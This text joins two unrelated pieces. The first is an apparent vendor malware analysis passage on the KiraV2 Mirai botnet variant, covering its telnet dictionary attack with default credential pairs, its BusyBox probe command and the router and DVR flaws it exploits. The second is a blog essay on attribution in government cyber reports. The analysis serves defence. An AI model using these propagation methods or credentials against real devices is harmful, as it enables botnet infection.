targets. DDoS attack functions defined in KiraV2 add or remove certain attack methods. ### Distribution Method Now, let's examine how the malware is being distributed. Mirai first attempts to establish telnet communication with a random IP bandwidth. Afterward, it attempts to log in by launching a dictionary attack that uses vulnerable passwords, such as “root / 12345,” and “admin / 1111,” targeting environments where telnet is installed. This shows that Mirai targets devices with vulnerable telnet account info. Upon successful login and confirming the installation of BusyBox, it sends IP and account info to the report server. The report server sends the result to the loader, and the loader uses this info to log in and download additional malware. KiraV2 retains the distribution routine above as well as two additional vulnerability distribution features. It first uses sysconf(_SC_NPROCESSORS_ONLN) function to confirm the number of current CPU cores. If two or more CPU cores are found, it uses the telnet dictionary attack distribution method mentioned above. If there is only one CPU, it randomly selects one of the two vulnerability attacks and proceeds with the selected attack. ### Telnet Dictionary Attack In this section, we will go over the telnet dictionary attack of KiraV2. The dictionary attack is nearly identical to the routine of Mirai. The difference is that it has a much smaller telnet account information list used in the dictionary attack than Mirai, and that it uses ]DEMONS] strings rather than ]MIRAI] strings. Note that Mirai only targets IoT devices where BusyBox is installed. It performs telnet login for the target, and once logged in, it runs “/bin/busybox MIRAI” command. Since a program ‘MIRAI’ normally does not exist in BusyBox, running the command will most likely result in printing of the result value ‘MIRAI: applet not found.’ Whether BusyBox is installed can be checked via this result value since a different value will be returned if BusyBox is not installed in a device. The final difference is that in Mirai, the address and port number of the report server are encoded, but in KiraV2, just like the C&C server, the IP address of the report server is hard-coded, and only the port number is encoded. ### CVE-2017-17215: Remote Command Execution Vulnerability CVE-2017-17215 vulnerability is a remote command execution vulnerability that exists in the Huawei router. This vulnerability allows the attacker to send a modified packet to the vulnerable device and execute commands remotely. ### JAWS Web Server Remote Command Execution Vulnerability JAWS Web Server remote command execution vulnerability is a remote command execution vulnerability that exists in devices related to MVPower DVR. Similar to CVE-2017-17215 vulnerability mentioned above, it can execute certain commands remotely. ## Conclusion The IoT industry is rapidly growing, and the number of IoT devices, such as DVRs, routers, and IP cameras, is increasing as well. Most of these devices are connected to the external network, which is being targeted by numerous threat actors for exploitation. Many of the devices are already infected, forming botnets and being exploited for DDoS attacks, which could be detrimental to IT infrastructures. To prevent these security threats from damaging devices, users must act soon. In other words, users must change the default ID and password provided with the device purchase to protect their data and login credentials. Furthermore, users must consistently update their IoT devices to the latest version to prevent vulnerability attacks. AhnLab’s anti-malware product, AhnLab V3, detects Mirai malware using the following alias: - Worm/Linux.Mirai.SE189
# Killed In Translation **January 15, 2021** ## Preface A director at Google once told me that the larger an organization, the less subtlety is possible in what it says publicly, and even the most carefully postulated assessment, cushioned with supporting analytic language, will be interpreted as fact. Naming of threat actor groups and malware is a critical aspect to tracking cyber operations. Armchair Researchers, more concerned with social media follower counts, often decry these names as marketing hooks, whereas they are actually complex shibboleths that convey the scope of a set of activity and its sourcing. Since roughly 2016, the United States government has been actively working to collaborate with non-government agencies. The National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI) have all begun publicly sharing tactical reporting containing technical details, indicators, and defensive recommendations. These reports have become a staple of any major cyber incident because they provide an authoritative situational overview and an initial starting point for collaboration. In recent reports, attribution has been presented at the forefront of the report and used industry cryptonyms along with military units or specific government entities. While this may be intended to support broader usage (outside of technical consumers), attribution in these reports, without supporting analysis, is creating a dangerous precedent. Technical analysis is fundamentally rooted in scientific methodology. When research is presented, a basic requirement is that it is sufficiently detailed to be validated by reproducing the analysis. Within the aforenoted reports, attribution is presented as a statement of fact, similar in confidence to the reported dates or software versions, instead of as a confidence-structured assessment. It may be possible the authors of these reports have a Palantír, allowing them to perfectly identify the hostile authors, but without proper confidence language and presentation, these assessments are just as likely to have been made by a roll of the dice. In future reports, providing context regarding how reported activity links to named sets will provide critical information to existing understanding of these groups. In instances where providing this information may risk sources and methods, limiting assessed attribution to a broad geographic estimate or omitting it entirely may provide a better service.